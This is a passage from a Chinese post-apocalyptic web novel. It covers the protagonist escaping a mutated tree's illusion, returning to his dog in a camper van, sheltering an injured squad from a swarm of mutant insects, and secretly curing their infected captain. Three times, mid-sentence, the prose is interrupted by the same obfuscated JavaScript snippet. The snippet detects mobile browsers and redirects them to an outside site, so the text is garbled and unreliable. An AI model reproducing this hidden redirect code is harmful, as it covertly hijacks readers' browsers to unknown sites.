乔佑蒙着灰翳的左眼飞速划过了他未曾经历的一幕幕。 …… 第十七天的时候，张姨偷偷转移了一些物资，在地下停车场开了一辆车走了。 消息断联已经很多天，她要去隔壁市找老公和儿子，又很清楚这事告诉刘家人是得不到允许的，于是决定偷偷走。 离开的时候被巡逻的人撞见了，张姨不得已透露说刘家别墅里有一整层的物资转移注意力。 于是，物资早就消耗得差不多、每天都饥肠辘辘的浩浩荡荡几十人一同去刘家“讨说法”。 最终也并没有全部抢完，而是按人数“平分”，可是刘家人本来就人数少，留下的物资撑不了几天。 出去找物资变成了当前最重要的事情。 刘家真正能顶事的只有刘珀和李叔，两个老人年迈，唐以浑浑噩噩，什么都不会。 但刘珀很担心唐以待在小区里被其他人欺负，所以大部分出去找物资的时间都带着唐以一起——这是刘珀的说法，但唐以觉得是为了给他自己多一份存活的机会。 被一只熊追的时候，需要跑多快才能逃命？ 只要比另一个人快就够了。 唐以就是跑的不够快的“另一个人”。 人人都觉得她害死了小舅妈、小表弟，她犯了错，从此在家里更加孤僻，当她哭着喊着不想出去送死的时候，大家自然也冷眼旁观。 停电停水，物资过于匮乏，不出去就没有吃的，选吧。 万幸的是，经历过几次狼狈的死里逃生，唐以不仅没有被丧尸咬死，反而渐渐适应了末世里摸爬滚打的日子，她没有给刘珀和李叔抛下她的机会，她活下来了。 就这么躲了七个月，途中赶走了抢占地盘的陌生人，捱过了顺着大门和铁丝网攀进来的小波丧尸潮，他们躲在地下室、湖底、天台……各种各样的地方。 小区里仅剩的人里，有一户人家里起了严重的内部冲突，不久就被丧尸团灭了，也不知道最后的人能撑多久。 蓬头垢面，瘦骨伶仃，和末世前完全是两种光景。 刘老爷子早年喝酒应酬，抽烟也很厉害，一直有冠心病和高血压，虽然尽力给他找药了，但多番惊吓，在临近冬天的某一天去世了。 人命有时候很坚韧，有时候又很脆弱。 救援到来的那天，是李叔和另一户一个青年外出的时候听到了直升机的螺旋桨声音和枪声，冒着被丧尸发现的风险吸引了救援人员注意，然后带回了金湖小区。 可惜的是，直升机能接的人员有限，最多再挤下七个人，而刘家现在四个人，另一户十个人，注定有一半人会被放弃。 “名额有限啊，我们自由谷基地，老弱病残的不要，女的酌情看要不要，来来来，都站过来！”一个胡茬凌乱的男人抱着枪，迈着八字步走过来，玩味地看着这一群惴惴不安的“难民”。 身后的小弟跟着亦步亦趋，一一点过：“你，你，可以，你就别来了，丑八怪滚一边去吧。” “嘿，这可是富人区吧！以前哪见过这些狗眼看人低的东西这么老实？可把老子爽死了！”两个人毫不顾忌地大笑道。 刘珀凝眉看着那两人神态倨傲地接受着众人的恭维追捧，低声对唐以道：“他们不是军方的人，所谓的幸存者基地未必是什么好地方，你……”声音更低下去：“四楼的泳池更衣间最里面那扇门，我藏了够你们吃一个月的物资，钥匙在我书房文件夹里。” 唐以微微睁大眼：“刘珀？” “喂！那边的！嘀嘀咕咕什么呢？”当先的那个人迈步过来，绕过刘珀，摸着下巴上上下下打量唐以。 “啧，身材不错，把脸整这么花干嘛，哥哥来给你擦干净，看你——够不够格进咱们基地！”说着就伸出了手。 “啪！”唐以怒气冲冲把那只手打下来，还想说什么，却被刘珀捂着嘴打断了。 “带回去也没用，会染病。”刘珀左右看看，像在说什么秘密似的，声音不大不小说：“都是家丑啊！这孩子从小没爸妈管教，平时爱整些不三不四的东西，天天夜不归宿，病例报告还在她房里藏着呢……这样的人哥你还敢带回去？” “真的？”那人狐疑地看着他，但身体已经很诚实地跳开一米远。 “这样吧，十四个人里挑七个，两家各救一半，也公平，免得带回去了不服气闹事。”刘珀有理有据道：“我们家一个老的，一个病的，就不用管了，带回基地里也没什么用，有我和李叔就行了。” 自由谷基地来的两个人接受了刘珀的建议。 刘奶奶和唐以被放弃了。 唐以确认了四楼更衣室里真的有刘珀说的物资，暂且相信了他熟悉基地后会回来接她们的承诺。 横着一条人命，唐以不太相信刘珀对她仍然有亲情，但刘奶奶也在，他应该不至于连自己亲妈也放弃。 一个月后，物资省着吃也没剩多少了，唐以对刘珀的回归已经不抱希望，之后是一老一幼相依为命，唐以需要去更远的地方寻找物资。 终于到了乔佑最好奇的末世第九月，正值万物复苏的春天，丧尸爆发后人类的踪迹渐渐从城市里消失，生命力顽强的动植物们重新占领了这里。 一夜之间，气温急剧升高，白日里几乎能到惊人的五十摄氏度，两人高热难耐，尤其是刘奶奶，已经有了中暑的迹象。 唐以隐隐觉得世界又变天了，丧尸变得比以前更加难以对付，普通的动物屡屡向她展露攻击性，甚至亲眼见到一簇绿化带上常见的小黄花合围了一只幼鸟。 她出去的时候更加谨慎。 奇怪的是，气温高得像蒸笼，门前的老槐树下却仍然阴凉，她们经常白天待在老槐树下面躲避高温，傍晚了再出去。 一天午后，唐以在石桌上睡得昏昏沉沉，老槐树有一种使人放松困倦的魔力，半梦半醒间，她听到一个人问她： [你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632364|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么不向我说话了。] “我……”日异月殊，唐以短短时间内经历了太多事，越来越沉默寡言，把老槐树想象成一个容纳所有的树洞，这样的幼稚行为，她早就记不得了。 [唐以，你想成为我吗？] “为什么要……”成为你？ [因为，你可以摆脱曾经的日子，天天都能吃饱，不管外面变成什么样子，都能安全的活着。] 这是一个很可人的诱惑，唐以潜意识里有点不安，眼皮下的眼珠颤动了下，眉头稍稍缩紧。 [是真的，我永远不会骗你，好好睡一觉吧，我的孩子。] [……] 幻境到此结束，乔佑回过神来。 接下来的发展，就是所谓的寂静之地了。 小区内的所有人都被变异槐拉入了幻境，也包括唐以的外婆刘奶奶。 刚变异的老槐树很弱，不得不用诱导的方式杀掉唐以，不知道什么原因，唐以并没完全死去，反倒成了老槐树的伥鬼。 有了这一次成功的经历，老槐树也懒得再构建新的幻境，遇到猎物就丢进唐以的记忆里，就算前面所经历的一切都没能杀死猎物的精神力，最后顺着剧情发展，猎物也会乖乖走进陷阱。 可惜遇到了乔佑这个怪胎，精神力天生强大，又有长期玩虚拟游戏的经验，对自己是谁有明确的认知，综合以上，还多出了一个破障的能力。 好好一个简单的探索任务因为乔佑的好奇心变成了boss战，实际上系统给出的任务在不知不觉间已经完成了。 雾系异能升级到高阶时可以使人迷失，形成低级的小幻境，“破障”的能力也许就由此而来，是异能的进化方向之一。有了这个能力，乔佑可以很大程度上免疫类似的异能。 乔佑拿出手电筒打开，黑漆漆的夜里，地上铺了横七竖八一层动物尸体，他身下是仅剩的较为平坦的空地，三菱刀掉在旁边。 看周围，这里应该刚进小区没多远，不知道时间过去了多久，腹中扁平，饿得有点发慌。 乔佑从久违的空间里拿出一块饼吃，在离开和再会一会老槐树之间纠结了一秒，果断地转身走了。 维希不知道被关在房车里多久了，拆家都是其次，一想到维希饿着肚子等不到他，乔佑就感到浓浓的愧疚感。 刚把维希抱回来就遇到这种事。 尽管回家心切，乔佑也没有放松警惕，手电筒照不到的夜色深处，不知道有多少双眼睛好奇地观察着这道突兀的光亮。 想了一想，乔佑将手电筒关掉，单手捂住左眼，移开时，熟悉的灰白阴翳再次蒙住了眼球。 在他的视野中，周围像老旧的灰白照片，深深浅浅勾勒出所有景象，清晰如白昼。 只是好奇试了一下，没想到真的有夜视能力，乔佑按下心中的惊喜，一团雾悄然笼罩了他，在黑夜中顺着前路快速前行。 同时运行两个能力，异能消耗得异常快，乔佑走走停停，回到房车的时候已经快天亮了，天际露出蒙蒙铅灰色。 18. 狼狈的重逢 乔佑打开房车车门，屋子里一片黑蒙蒙、静悄悄。 “维希？”卡座上的小灯亮起，乔佑看了眼地上的狗粮盆，竟然还有剩的，可能是意识到乔佑一直没回来后舍不得吃，房车内摆设比他走之前凌乱一些，但远远没到拆家的程度。 半晌也没有回应，乔佑逐渐着急，叫着小边牧的名字在房车的各个角落里找。 “汪呜～”含着委屈的小声叫声终于从小卧室方向传来，下一秒，窜出来一团小小的黑白影子，直奔乔佑怀里。 小狗汪汪汪一连串控诉，伸出小舌头舔乔佑脸颊，但精神看起来很萎靡，之前理顺的毛又结成一绺绺，乔佑顺着维希的小脑袋和脊背连声安抚，心里有点后怕。 以后还是尽量避免外出一时回不来的情况，还好这次没有被困多久，要是有别的什么意外，维希真会被困死在这里。 也要带维希适当出去跑跑，边牧犬从来不是能关在小屋子里的生物，长此以往下去可能会抑郁。 把这个广场清理干净了陪着维希出去遛遛？乔佑始终对广场边的商场有点忌惮，尽量离远一点应该没什么问题。 一边心里琢磨，乔佑从空间里拿出新鲜的罐头和水，放下维希。维希落了地，直奔罐头而去，吃几口就抬头盯一眼乔佑，生怕他眨眼间又不见了。 乔佑很耐心地等维希吃饱，才抱着它去副驾驶看了日期和时间。 在幻境里度过了两天一夜，现在已经是第三天的凌晨。 一直没有休息，乔佑也感到格外困乏，确认没有什么特别的任务或者系统提醒，便抱着维希回了小卧室，一人一狗沉沉睡去。 …… 乔佑暂停了收集物资的行动，天天带着维希在外面跑，现在一般的丧尸和变异动植物对他已完全造成不了威胁，而且就在房车附近，真有搞不定的敌人也能躲回房车里。 乔佑不希望维希离开他就完全失去自保能力，打定主意要每天训练，倒不是坐下、握手、打滚、拿取物品这些在末世没什么用的东西，单纯锻炼肌肉，训练反应能力，多晒晒太阳也能补充钙。 维希还小，乔佑没有对它抱太大的期望，总是进步一点点就给奖励，比起训练更像是玩，维希天天斗志昂扬，精疲力尽了才愿意回家。 一天凌晨，夜色深浓，乔佑睡得正沉，突然被一串稚嫩的汪汪叫声吵醒。 他迷茫地将眼睛睁开一条缝，一张毛茸茸的狗脸凑得极尽，湿漉漉的鼻尖时不时蹭蹭他，叫声很急切。 “大晚上的……不睡觉……”乔佑把边牧一把抱住，还分出一只手捂它的嘴。 维希：“呜呜？” 乔佑眼睛闭紧一下，猛地坐起来，勉强清醒一点。 维希作息和他基本同步，从来不在晚上闹腾，肯定是有什么事。 房车肯定一切正常，边牧犬五感敏锐，难道是外面？乔佑侧耳听了一下，隐约似乎确实有不同寻常的动静，但听不清晰。 他干脆起身去了副驾驶室，游戏操作面板亮着，一个红点正在闪烁。 【紧急任务·求援】 任务描述： 在樟城一中遇到的小队好像遇到了困难，不出意料的话他们会团灭哦，但很幸运的是逃命方向靠近房车，要是你能开门，他们就更幸运了。救人一命胜造七级浮屠，他们看起来像好人，还分了你肉吃。要救吗？救吧～ 任务奖励：空间属性点1（定向升级：现实空间折叠） 樟城一中遇到的小队？ 乔佑脑海中闪过了图书馆内的鸡汤和炭火，一身烟尘的男人穿着围裙不紧不慢地盛汤，几人围坐着说说笑笑，充满了轻松和乐。 有点想念闵停队长的厨艺。 以及这几天连维希都对他做的东西有心理阴影了。 以乔佑的性子，本来是不愿意淌这种浑水的，就不说他不想和别人有交集这种小问题，只说什么东西能把这么优秀的异能者小队逼得濒临团灭，得是什么程度的boss？ 但……系统给的太多了！ “现实空间折叠”是什么意思？“现实”两字让他来不及思考太多，心脏猛地砰砰跳了起来。 再加上是见过一面的熟人，乔佑不再犹豫，按系统说的打开房车的门，明亮的光透出来，像一座安宁的庇护所。 只开一下门就足够了吗？ 乔佑望着远处沉思，维希要跳起来就要窜出去，被他眼疾手快地拎回来。 维希跑不出去，只能支着四条腿嗷嗷嗷叫唤，幼犬的尖锐声音传出很远，一声寥远的长鸣从天上渐行渐近，乔佑脸色凝重地仰着头，左眼覆上灰白，手中已经握紧了三菱刀。 出乎意料的是，也许敌人并不是天上。 那只巨大的白隼鸟爪下提着一个人，虽然血迹斑驳，一条腿僵硬地扭曲着，看起来狼狈无比，但显然还有意识，白隼的动作也不像抓着猎物。 距离渐渐接近，乔佑眯了眯眼，看到一个熟悉的人，娃娃脸，上次见面总是笑眯眯的样子，此时却苍白得厉害，也许是因为虚弱，怔然看着眼前，眼神也没有聚焦。 江湾终于注意到了房车的光亮，随之看见了立在房车前的人，诧异道：“乔佑？” 接着他脸色一变，扫了一眼他身后看起来破旧单薄的房车，毫无防御力的样子，不由急道：“快离开这里！” 不等江湾继续解释，白隼就把他粗鲁地放下，还用鸟喙将他往房车的方向推了推，接着猛一振翅，在黑夜中如一道闪电般顺着来路掠远了。 江湾单脚踉跄了一下，愕然：“小云？” 被扔下的江湾和乔佑大眼瞪小眼，一秒之后，他继续道：“……变异虫跟着我们，挡不住的，它们能把这房车淹了，听我的，快跑！” 乔佑点点头，很赞同的样子：“那你上来吧，我们开房车跑，有辆车肯定比两条腿快的，你一条腿还瘸了。” 江湾将信将疑，严重的伤势让他思路没那么敏捷，顺着乔佑的目光看向了房车，疑道：“这房车还能开？” 放在末世前，这房车待在垃圾处理场都毫无违和感。 乔佑自信点头，“来不及解释了，先上车！” 变异虫紧追不舍，现在确实不是掰扯这些的时候，江湾咬了咬牙，跟着乔佑上了车，扫了一眼充满家居气息的内部景象，突然有种不好的预感。 “砰”一声，房车门关上，江湾猛地转身，乔佑审视地看着他，没有任何要去驾驶室开车逃命的意思。 “怎么只有你一个？其他人呢？”乔佑问道。 江湾脸色沉沉，手中一动，却没有出现想象中的武器，惊疑不定地看向乔佑：“你对我做了什么？” “是用不出异能了吗？”乔佑淡淡道：“我能做什么？可能你的异能在逃跑的时候用完了吧。” 维希贴在乔佑脚边，瞅瞅大人之间的凝重氛围，识趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632365|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地不吱声。 江湾头靠在墙上，好像妥协了：“我们遇到了变异虫和很多高等变异丧尸，好不容易才逃出来，那只白隼是队长的宠物，怎么可能主动先救我？是队长下的令先保住我空间里的物资……” “你们队长的异能是驯兽。”乔佑道：“变异虫应该也能控制，为什么需要逃命？” 乔佑扫了一眼江湾身上的伤口，小而深，密密麻麻，流血不断。 “因为……”江湾喃喃，声音渐渐低下去。 乔佑蹙眉，走近了几步查看，一只手迅疾如电夺下他手中的三菱刀，乔佑反应也很快，江湾生生受了几记肘击，但三菱刀还是顺利抵在乔佑颈下。 “乔佑，我对你没有恶意。”江湾有些头昏眼花，他重伤不是装的。 “队长拼死把我送出来，我得把空间里的东西送回基地去，乔佑，你告诉我，我的异能用不了，只是暂时的吧？” “嗯……”乔佑含糊应了，心里有点发沉，看江湾这个样子，就算告诉他闵停已经死了乔佑都不得不信。 到底发生了什么？ 江湾松了口气，“你去开车，赶快离开这里，不然来不及了。” “房车是坏的，开不了。”乔佑道：“而且我不会。” 江湾感到一阵窒息。 乔佑的表情非常诚恳，非常笃定，还有点欺骗人后的惭愧。 这人到底知不知道事情有多严重！真的会有人把自己的生命这么开玩笑吗？！都这种时候了还这么淡定？！ 看江湾不信，乔佑取出一把车钥匙递给他：“你去试试吧。” 门外突然传来轻微的窸窣声，声音越来越大。 像无数叶片随着风互相摩擦，而现在，这风显然越来越大了，逐渐形成哗啦啦的浪潮。 维希不安地伸爪子在地上扒拉。 江湾夺下车钥匙，像握着最后的救命稻草，满怀希望又忐忑绝望地去驾驶室试验了。 他这是死马当活马医，没有小云带着他跑，他又是强弩之末，离开房车自己跑必死无疑。 乔佑则再次打开房车门，毫无阻碍地看着远处战况。 密密麻麻的绿点飘摇如叶片，波涌如海洋，仔细看时，心中猛地升起一股凉意。 那些绿点都是拇指大小的虫子。 上一个存档中，系统把这种虫子称为“异虫灾”。 在异虫的追击下，几个人影在前方拼命奔跑，一，二，三，四…… 闵停呢？ 上方白隼盘旋，每一次翅膀扇动，都是一道烈风刮下，虽然这效果微乎其微，如同人力对抗潮汐。 但这道风还是让罗康几乎要被绿虫淹没的头颅露出来，也露出了背上背的闵停。 乔佑松了口气，全员俱在，他一点都不希望有谁死了。 乔佑对异虫也毫无办法，下去了就自身难保，只能打着手电筒摇了摇，大声道：“这边！往这边跑！房车里安全！” 罗康抹了一把脸上的血，抬起头，队长昏迷，整个小队都听他的，每一步行动都如履如临。 小云把他们引到这边，是因为他吗？ 当断则断……罗康大声吼道：“朝那边跑！” 随着距离接近，一层清凉的雾气笼罩在几人身上，不由精神一振。 乔佑侧身避开，罗康背着闵停冲了进来，他稍微接了一下，旁边江湾阴沉着脸，死死盯着乔佑。 19. 互助互利 对于这几个能在变异虫堆里躺一圈还全身而退的人，乔佑简直叹为观止。 罗康将闵停放下就转身协助后面的队友，升起金属墙隔开虫子，但虫子数量太多，轻易就越了过来，于是金属墙延伸成金属笼。 虫潮可怕，数量骤减的虫子却挤不开坚固的笼子。 使用这样的能力对罗康来说显然也是不小的负担，他的脸色很快就青白起来。 江湾也注意到自己的异能可以继续使用了，心情复杂地看了一眼乔佑，拿出一把枪射击，不知道是用什么做的，每发子弹都炸出一捧绿色的血雾，那种气体似乎对虫子有影响，它们的速度明显放缓了一些。 李鹤怀则是用水异能不断冲刷，一方面将虫子向后推，只是可惜这种变异虫并不会被水淹死；另一方面，含有治愈效果的水流将自己和队友身上爬的虫子冲下去，顺便愈合伤口。 沈吟夏和沈吟秋异能不明，体力稍弱，落在后面，比起小队高度统一的全身血迹，她们俩还要更狼狈，即使有水流冲刷，仍有无数绿点如跗骨之蛆贴在身上。 接近房车时，雾气更加浓郁了起来，小队几人目标明确地向着门奔去，变异虫却受到了干扰，动作迟疑起来。 李鹤怀气喘吁吁登上房车，刚转身就被白隼的大翅膀扑了一脸，小云收敛翅膀挤进来，踱步到闵停身边，哀哀鸣叫。 李鹤怀不跟它一般见识，看看房车周围逐渐稀疏的虫群，勉强信了这里有点特殊，是安全的，而沈吟夏沈吟秋也马上就能上来了。 就在这时，失去方向的变异虫规律蠕动着，突然合力拢起一个高台，托起一只人脑大的绿虫。 这只绿虫像是普通变异虫等比例放大的版本，五官清晰，足肢弹动，碧绿的眼睛闪动着人类一样的恶毒神光，嘴巴微微张开，搭成一个三角形。 应该有人耳无法捕捉的声波传出来，因为变异虫们再次动了起来。 乔佑倒抽一口冷气：“你们到底怎么惹到变异虫的，连虫母都‘御驾亲征’了？” 抢了人家下一代虫母？ 小队几人也没有遇到过这样一幕，牢牢盯着虫母看它要做什么，罗康凝重地问：“乔佑，你确定房车里安全吗？” 如果不安全，变异虫把他们包了饺子，一场恶战就在所难免，最大的可能是全军覆没。 事实上，他竟然真的信了乔佑才是匪夷所思，一个破房车能挡住什么？但小云的意思明显就是来这里。 如果不是房车特殊，难道是乔佑这个人吗？能给他们提供庇佑？ 罗康怀疑地看了一眼小云。 纯靠直觉跑过来的白隼心虚地离罗康远了一些。 “安全的，只要她们能上来，”乔佑指了指车门外沿：“你看，没有一只虫子爬过来。” “到底是什么原理？”罗康低声道，手中化出一根铁杆伸出门外，希望凭借这个接一下被虫绊住的队友，没想到虫子迅速攀了上来，但爬到某个位置就再难以前进了。 “可能是一种规则吧。”乔佑心想：“就像水往下流，太阳东升西落，一年365天，而我是这个房车的主人，都是不需要解释的规则。” 水流冲刷，落在后面的两人距离房车已近在咫尺，长久的逃亡之后，几人都略有些放松。 却在此时，一张由虫子组成的网猛地扑下来，沈吟秋眼睛微睁，脚步停下，猛地伸手将沈吟夏推进了房车内。 “秋秋？！”沈吟夏惊愕，站在房车内，茫然地看了一眼乔佑。 乔佑也有些愕然，小队几人仍然沉稳，将欲要往回冲的沈吟夏拦住。 沈吟秋被虫网围住动弹不得，奇怪的是，一贴上肉就开始噬咬的虫子们安安静静地困着她，没有动作，而虫母两只足肢正放在嘴巴边上下翻动。 绿色的丝线从它口中飞速吐出，缠绕，一根质地类似于藤蔓的绳索竟然在两三秒之内成形。 下一秒，藤蔓朝着沈吟秋掠过去，头部如同毒蛇的尖牙，轻易地钻进了皮肉之下。 “砰！”房车门被关上，狭窄的空间内，气氛一时凝滞。 沈吟夏捂着门，双手颤抖，嘴唇也颤抖，欲言又止，她的眼中充满了痛苦，早就没有了上次见面时那温婉柔和的笑容。 江湾拉开车窗帘往外看，人形已经变成了一个巨大的蛹，没有一只虫子向房车跑，回头给了个安全的眼神。 李鹤怀不忍道：“你把门关上，吟秋怎么回来？不必关门，虫子也不会进来。” “她回不来了。”沈吟夏低沉地说：“那根藤蔓输送的是虫母产的卵，注入身体的一瞬间就被寄生了。” 也许是因为心情低落，脸上失去笑容，两姐妹又长得一模一样，沈吟夏眉目淡淡，就有几分沈吟秋的影子。 乔佑探究地把几人扫视了一圈，不想掺和他们的内部矛盾，转而去看昏迷在沙发上的闵停。 此时认真了看，才发现闵停脸色苍白却透着潮红，吐息灼热，伸手摸了摸额头，果然在发烧。 他身上也有伤口，但明显比其他人的少，在李鹤怀的水系异能流过后，此时已经结疤。 沉思片刻，乔佑从空间里取出一把干净的、没沾过丧尸血的刀，提着他的手腕浅浅划了一下，泛着青黑色的血液流出来，他顿时沉默了。 闵停掀开眼皮，与乔佑对视了一眼，又移开视线看这是哪里，乔佑不知道他在想什么。 他也不知道自己穿着一身蓝色绒丝睡衣，同色的帽子挂着两只短短的毛绒耳朵挂在身后，整个人显得又小了一号，锁骨清晰可见。 上次在樟城一中的时候就知道他年轻，现在看更是天真得不谙世事，在这个吃人的末世，是怎么长到这么大的？ 狭窄的房车内多了五个人一只鸟，一下子逼仄起来。 江湾正在给精疲力竭的队友们发晶核，一人一块，颜色与各人的异能都相符，发到沈吟夏的时候，迟疑了一下，还是给了她两块，“多的那个就当是沈吟秋的。” 乔佑好奇地看了两眼，见他们都在闭着眼睛吸收晶核。 晶核内部能量丝快速流动，颜色渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632366|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变浅，以这样的速度，用不了十分钟就能将晶核吸收干净，比乔佑修炼的速度快多了。 缺点大概是对晶核属性有要求，乔佑可不会区分用来修炼的是什么晶核，有能量就行。 但是……他们这么吸收真的没问题吗？ 罗康稍许恢复后睁开眼睛，见乔佑神色好奇，粗声粗气道：“这次多谢你，如果不是你好心解救，我们几个应该没有生还的机会，你有什么需要的尽管提，不用客气。” 李鹤怀休息好了，正为众人治伤。 乔佑环视一圈，这些人伤的伤，残的残，死的死，作为主心骨的队长闵停还中了丧尸病毒，怎一个惨字了得，虽然得救了也完全没有欣喜的神色。 他是房车的主人，而他们一行显然要继续寻求乔佑的庇护，又做不出强抢的行为，此时便都等着乔佑提要求。 乔佑只好道：“变异虫围在房车外面没有走，你们得想办法把他们引开，不然我和维希没办法出去。” 李鹤怀点点头，强笑道：“当然，你不说我们也会这么做的，我们不能一直被困在这里。” “你们有水系异能者，我……很缺水资源，等你们的异能完全恢复之后，希望能给我补充一些。”乔佑想了想，接着道：“顺便帮我看看我的水箱是怎么回事，水箱出口在房车外，这个等变异虫驱逐干净之后再做。” 这也不是什么为难的要求，水系异能者李鹤怀点头应了。 “还有……”乔佑沉吟道：“你们有谁会修房车吗？” 罗康举手：“我会。” 乔佑眼睛一亮。 罗康挠了挠脑袋：“队里的所有工具和器械基本上都是我修的，没办法的时候我还会亲手做。” 乔佑满意了，虽然他救这个小队只图系统的属性点，但有了他们的帮助，真的省了自己很多麻烦。 乔佑正要应好，突然想起什么，问道：“我还要一百颗晶核，什么属性都行。” 100颗晶核不是小数目，好在不挑属性，江湾计算了一下，向罗康点点头，罗康便拍板道：“可以，现在就可以给你。” 江湾点出100颗晶核，乔佑大致看了一下就收进空间。 “那么，就是这些了，我没有什么别的需求。”乔佑嘴角微微上扬，看得出是非常愉悦的，笑容有些腼腆。 “真的这么简单吗？”江湾忍不住道。 他之前因为怀疑房车的安全性，还对乔佑动手了，现在想来还有点不好意思。 “真的，你们之前也帮过我，就当互助互利了，今晚你们辛苦了，地方简陋，休息一下吧。”乔佑看了一眼沙发上的闵停，他一直静静听着，未发一言，不知道什么时候就会彻底失去理智。 奇怪，他们连中了丧尸病毒的闵停都没放弃，却这么干脆抛下了沈吟秋？ 乔佑暂且放下了心中的疑问，一头钻进了车头，顺手将隔断门关上。 徒留后车厢的几人待在原地，或坐或站，闭目养神，但始终留了一分注意力在闵停身上，忧虑重重。 20. 同眠 任务奖励：空间属性点（定向改造：现实空间折叠） 已领取。 【宿主：乔佑 等级：C 异能：空间（21）；雾（27）】 乔佑感受了一下空间异能的新能力。 在他的感知中，他的空间被分成了两部分，一部分仍然存放着他的物资，另一部分空无一物，体积接近于无，但他感觉可以调整两边空间的大小和比例。 于是心念转动，物资空间缩小，另一个未知空间增大，里面仍然空无一物，而且他并不能向其中放入东西。 一个浪费空间的鸡肋功能？ 乔佑不信，静下心来运用精神力仔细体悟，那个未知空间逐渐具象化，慢慢与另一个物体结合在了一起。 那是他的……房车。 将空间折叠纳入现实，从此以后，他的房车外表看起来只占那么小小一块地，进入之后却是别有洞天。 折叠空间尚小时，还可以骗骗外人是因为装饰和摆设显得空间宽大。 折叠空间越来越大时，会不会在房车里出现三室一厅，小复层？ 想想还挺有趣，乔佑笑了一下，心情却低落下来。 现实空间折叠，这个能力的名字，就是系统的明示吧？现实，他的现实彻底落在了这个世界，他获得了新的生命，而那个遥远的新人类纪元，深爱他的至亲父母，则永远地失去了。 对这个事实早有预料，乔佑并没有消沉多久，漫漫地想着上一个存档里为什么没有这个能力。 是因为这次任务让系统意识到，别的人也可能进入房车，所以帮助他将房车面积拓宽吗？ 感叹了一下系统贴心，乔佑便从副驾驶座后面拖出自动售卖机。 解毒剂，99晶核，购买成功。 乔佑收小队100晶核，其实没什么功利心，他要是说个99晶核，这个数字显得挺奇怪的。多的一晶核就当中介费吧。 解毒剂是一支1ml的针剂，仅一个指节大小，从包装盒里取出时还冒着冷气。 乔佑将自动售卖机收好，游戏操作面板也关上，显得像是一个正常的副驾驶屏，这才推开隔断门走进后车厢。 屋里的四人同时看向了他，闵停垂着头没有动静，乔佑脚步一顿，“你们不休息吗？” 这确实是废话，变异虫的威胁暂时不必担心了，可房车内还有一个中了丧尸病毒的闵停是颗定时炸弹。 闵停虽然平常冷淡少语，但非常睿智洞见，是一个优秀的队长，在整个队伍中有着举足轻重的地位。将他带着一起逃命的行为其实非常不理智，但没有人怪罗康，甚至都抱着回到基地有可能治好的微小希望，因为江湾空间内的任务物品好像就是与丧尸病毒相关的，也许真的有可能。 尽管，丧尸的强弱与人类时的强弱息息相关，如果闵停真的丧尸化，成为变异丧尸是必然的，他们几个可能加起来都按不住他。 这种情况下怎么睡得着？ 乔佑似乎并不清楚原因，看了看拥挤的房车，恍然道：“这样确实很不方便，里面是我的卧室，不能提供给你们，但其实上面有个吊床，拉下来能睡下三个人，拉下来之前把下面的卡座和沙发收起来就行。” 乔佑为难地看了看闵停，凑近摸了摸他的额头，喃喃道：“好像比之前温度更高了。” 手滑下来落在他肩膀，在前面几人看不见的闵停背后，一支针剂悄无声息地打进他的颈侧，这个过程很快，乔佑收回手时，空针管已经回到了他的空间。 “队长被丧尸咬过。”江湾道。这种时候了，再瞒着也没有什么意义，队长是替他挡了一劫，他深怀愧疚，声音低落，宁愿空间异能是在闵停身上。 如果这样，以闵停的实力，肯定能保护好空间内的东西吧，偏偏是他，小队里他年纪最小，实力最弱，总是在连累别人。 “没有吧，你们是不是看错了？”乔佑诧异道。 李鹤怀推了推眼镜，面无表情：“你用刀割开闵队的时候，我们几个都看见了。”不用装不知道。 “我刚才确实有怀疑，”乔佑无辜道：“可是，他留出的血是正常的颜色啊。” “你说什么？”江湾一怔，急忙凑到跟前捞起闵停的手臂，之前流出的血已经凝固了，呈现微微黑色，但正常的血凝块也是这种样子，说明不了什么。 江湾顺着刀口用了点力，新鲜的血液立刻涌了出来，确实是正常的鲜红色。 小队几人一股脑挤过来，连很久没说话的沈吟夏也伸脑袋来看，小云扑扑翅膀，飞到了高高的柜子上，委委屈屈地压着身体往下瞅。 乔佑退开几步，困乏已久的维希走过来蹭他。 乔佑咳嗽了一声：“虽然没被丧尸咬过，但是一直烧下去也不行，有退烧药的话给他用一点吧。” “我这里有。”江湾忙不迭道，闵停已经稍微恢复了神智，便递给他一粒退烧含片舌下含服，还贴了张退烧贴。 “再用体温计量一下吧？”李鹤怀不确定道，只是正常的发烧，那就按正常的流程走？虽然他此刻仍然不敢置信，像在做梦一般。 “这么晚了，别折腾了，病人需要好好休息。”乔佑催促道：“沙发和吊床睡着都不舒服，把他扶到里面的小卧室吧，晚上我看着他。” “不用了，”罗康粗中有细，推拒道：“有人在旁边的话，你肯定也睡不好的。” 